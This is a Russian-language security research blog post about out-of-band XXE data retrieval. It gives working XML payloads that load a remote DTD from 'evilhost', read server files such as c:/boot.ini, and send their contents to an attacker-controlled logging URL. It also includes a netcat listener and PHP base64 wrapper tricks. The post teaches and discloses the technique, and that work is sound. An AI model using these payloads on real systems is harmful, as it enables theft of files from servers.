Страницы

четверг, 15 ноября 2012 г.

XML Data Retrieval

Язык XML потихоньку становится все более популярным, все чаще встречается в анализируемых веб-приложениях. И поэтому глубокие исследования в алгоритмах работы этого языка и создание новых способов атаки на него также становятся популярными: сейчас изучены техники, позволяющие читать данные с файловой системы с помощью ошибок (error-based attack), посимвольно перебирать содержимое XML-файлов с помощью XSD-схем (blind attack)...

Ничего не напоминает? :)

Да-да, когда-то давно таким же образом изучались атаки на язык SQL. Сейчас техники эксплуатации SQL-инъекций изучены максимально глубоко для большинства типов СУБД. Это же ждет и XML: он рано или поздно сдастся под напором пытливых умов. Мы же предлагаем вашему вниманию очередную ступень развития атак на XML, способ аналогичный методике Data Retrieval over DNS при эксплуатации SQL-инъекций.

Все дело в сущностях
В спецификации языка XML описано несколько типов так называемых сущностей (со многими из них мы знакомы: именно сущности используются для проведения большинства атак на XML, называемых XML eXternal Entity, XXE):

  • предопределенные сущности (predefined entities);
  • внутренние сущности (internal entities);
  • внешние сущности (external entities);
  • внутренние сущности параметров (internal parameter entities);
  • внешние сущности параметров (external parameter entities).

До сих пор атаки на сущности в основном концентрировались вокруг 3-го типа (если не брать в расчет DoS): используя в качестве источника системной сущности различные файлы на файловой системе, можно было (не всегда) читать файлы с файловой системы через обратную подстановку данных в XML или через вывод ошибок. Помимо этого можно было проводить DoS, посимвольно перебирать содержимое подставленной сущности, читать файлы через Document Type Declaration (DTD), что при включенном выводе ошибок позволяло частично отображать содержимое читаемого файла.

Сущности параметров
С такими конструкциями, как сущности параметров, большинство или не знакомы, или знакомы крайне поверхностно. При атаке на XML они прежде всегда либо были бесполезны (хватало и обычных сущностей), либо возвращали не все данные.

Вот что говорит спецификация XML: «Ссылки на сущности параметров могут располагаться только в DTD. Сущность параметра определяется путем размещения символа % перед его именем. Знак процента используется также в ссылках на сущности параметров, вместо амперсанда. Ссылки на сущности параметров сразу же разбираются в DTD, и подставляемое значение становится частью DTD, в то время как обычные сущности не разбираются. Сущности параметров не распознаются в теле документа».

Иными словами, сущности параметров:
  1. разбираются «на лету» на этапе создания DTD;
  2. позволяют создавать другие сущности и сущности параметров (что следует из первого).
Примером документа использующего сущности параметров может быть такой:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'some_text'>">
%param1;
]>
<root>&internal;</root>
Сущность параметра param1 содержит определение внутренней сущности internal, которая в свою очередь подставляется в тег root и выводится пользователю.

Валидность и well-formedness
Предположим, что у вас есть проверяющий (validating) парсер и у него включена поддержка внешних сущностей (пока еще нередкое сочетание). Согласно спецификации языка XML при проверке документа должны соблюдаться определенные ограничения (constraints). (Подробнее об особенностях валидации и ограничениях в парсерах можно прочитать в статье Андрея Петухова (журнал «Хакер» за май 2012 г.) Например, для атрибутов тегов ограничения выглядят так:
Well-formedness constraint: Unique Att Spec
Validity constraint: Attribute Value Type
Well-formedness constraint: No External Entity References
Well-formedness constraint: No < in Attribute Values
С первыми двумя все очевидно: определение атрибута должно быть уникальным, а значение атрибута должно удовлетворять объявленному типу. Эти ошибки нам почти не мешают, а иногда даже помогают (те самые error-based XXE injections).

Рассмотрим подробнее третье требование: атрибуты не должны прямо или косвенно содержать ссылки на внешние сущности. Действительно, следующие три документа не пройдут проверку корректности:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY external SYSTEM "file:///c:/boot.ini">
]>
<root attrib="&external;" />
Error: External entity 'external' reference cannot appear in the attribute value.
И даже с помощью сущности параметра ничего не получается:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY external SYSTEM 'file:///c:/boot.ini'>">
%param1;
]>
<root attrib="&external;" />
Error: The external entity reference "&external;" is not permitted in an attribute value.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 SYSTEM "file:///c:/boot.ini">
<!ENTITY external "%param1;">
]>
<root attrib="&external;" />
Error: A parameter entity reference is not allowed in internal markup.
Последний пример особенно интересен, поскольку нарушает еще одно ограничение спецификации: Well-formedness constraint: PEs in Internal Subset. Мы не можем подставлять сущности параметров в определение внутренней DTD. Но там же, в спецификации, и написано, как обойти это препятствие: This does not apply to references that occur in external parameter entities or to the external subset. Просто обратимся к внешнему документу, в котором и объявляются необходимые нам сущности параметров, которые далее можно вызвать в исходном документе.

Что же произойдет, если часть DTD будет определена во внешнем файле? Согласно спецификации, поведение, связанное с ограничением подстановки внешних сущностей в атрибуты, не должно измениться, все данные будут проверены на действительность и корректность, подставлены и обработаны в дальнейшем. Но похоже, что у некоторых парсеров, включая libxml (PHP, Python, Ruby), Xerces2 (Java), System.XML (.NET) — несколько иное мнение :)

Создадим на нашем сайте страницу следующего содержания (заметьте, никаких доктайпов!):
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

Хитрость в том, что подставить сущность параметра во внутреннюю сущность нельзя. Во всяком случае, парсеры в Java и .NET очень недовольны такими попытками.

А вот и исходный документ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote;
%param1;
]>
<root attrib="&internal;" />
Алгоритм разбора документа такой:
  1. Просматривается содержимое DTD.
  2. Обнаруживается определение и вызов системной сущности параметра remote.
  3. При вызове remote происходит разбор http://evilhost/evil.xml. В этом файле определена системная сущность параметра payload, которую мы собираемся прочитать и сущность параметра param1, которая должна будет создать внутреннюю сущность internal.
  4. Тут стоит заметить, что обращения к файлу file:///c:/boot.ini еще нет и мы только сделали заготовку для нашей инъекции.
  5. Поскольку документ http://evilhost/evil.xml корректен, он подставляется в исходный документ на место вызова remote.
  6. Вызываем сущность параметра param1 и получаем в свое распоряжение сущность internal, которая (внезапно!) не является системной.
Какой с этого профит?
  • Если есть вывод атрибута — теперь он доступен.
  • Если есть доступ к XSD-схеме — возможен вывод в ошибке:
<xs:restriction base="xs:string">
<xs:pattern value="&internal;" />
</xs:restriction>

XXE Data Retrieval
Переходим к десерту. Зачем нам вообще XML-инъекция? Чтобы получить некие данные. С помощью сущностей параметров мы можем обращаться к внешним ресурсам, передавая в них «полезную нагрузку» — содержимое файлов с сервера, на котором находится парсер, — через системные сущности с помощью методики, описанной выше. Это позволяет атаковать парсеры, на которых отключен любой вывод данных!

1. Подаем на вход парсера XML следующий документ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote;
%param1;
]>
<root>&external;</root>
2. Обрабатывая данную DTD, парсер при вызове сущности параметра remote обратится к нашему ресурсу и если он будет доступен (что, конечно, не всегда так), то подгрузит из него следующее содержимое:
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://evilhost/log.php?log=%payload;'>">
Далее парсер определит сущность параметра param1, вызовет ее в основном документе сразу после вызова remote. В param1 находится определение external, к которой мы и обращаемся в теле XML-документа. Данная конструкция позволяет прочитать содержимое файла c:/boot.ini, подставить его значение в системную сущность, обойдя ограничения на определение сущностей параметров в других сущностях, — и при вызове external передать на контролируемый нами сервер содержимое файла.

Иногда бывает, что простые сущности не работают в парсере, тогда на помощь приходит следующая конструкция (используются только сущности параметров):

1. Подаем на вход парсера XML следующий документ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil_2.xml">
%remote;]>
<root/>
2. Содержимое ext_2.xml:
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://evilhost/log.php?%payload;" >' >
%param1;
%external;
Отличие данной методики от предыдущей заключается в том, что атака происходит только на этапе объявления DTD.



Особенности проведения атаки на разные парсеры
Бывает, что парсер не проверяет длину формируемого URI, а многие парсеры также автоматически конвертируют переносы строк (Xerces заменяет их на пробелы, а System.XML просто пропускает через urlencode). Однако эта длина будет проверяться на стороне нашего веб-сервера (чаще всего это 2048 байт), поэтому вместо полноценного веб-сервера можно использовать команду «nс –l –p 80».

Парсер libxml, который используется в PHP, Python и Ruby, по умолчанию ограничивает размеры подгружаемых системных сущностей (те же 2048 байт); для обхода необходимо запускать его с флагом LIBXML_PARSEHUGE. А еще этот парсер не конвертирует переносы строк, поэтому многострочные файлы с его помощью тоже не удастся отправить.

К счастью, в PHP есть прекрасные врапперы, о которых подробно рассказывал Алексей Москвин на конференции PHDays 2012. С их помощью можно не только конвертировать многострочные файлы в одну строку (посредством враппера php://filter/read=convert.base64-encode/resource=file:///c:/boot.ini), но и использовать в основной DTD, чтобы передать содержимое файла ext.xml без внешнего обращения с помощью враппера data:text/html;base64,PCFFTlRJVFkgJSB0N***.

Авторы: Тимур Юнусов, Алексей Осипов, исследовательский центр Positive Research.

Комментариев нет:

Отправить комментарий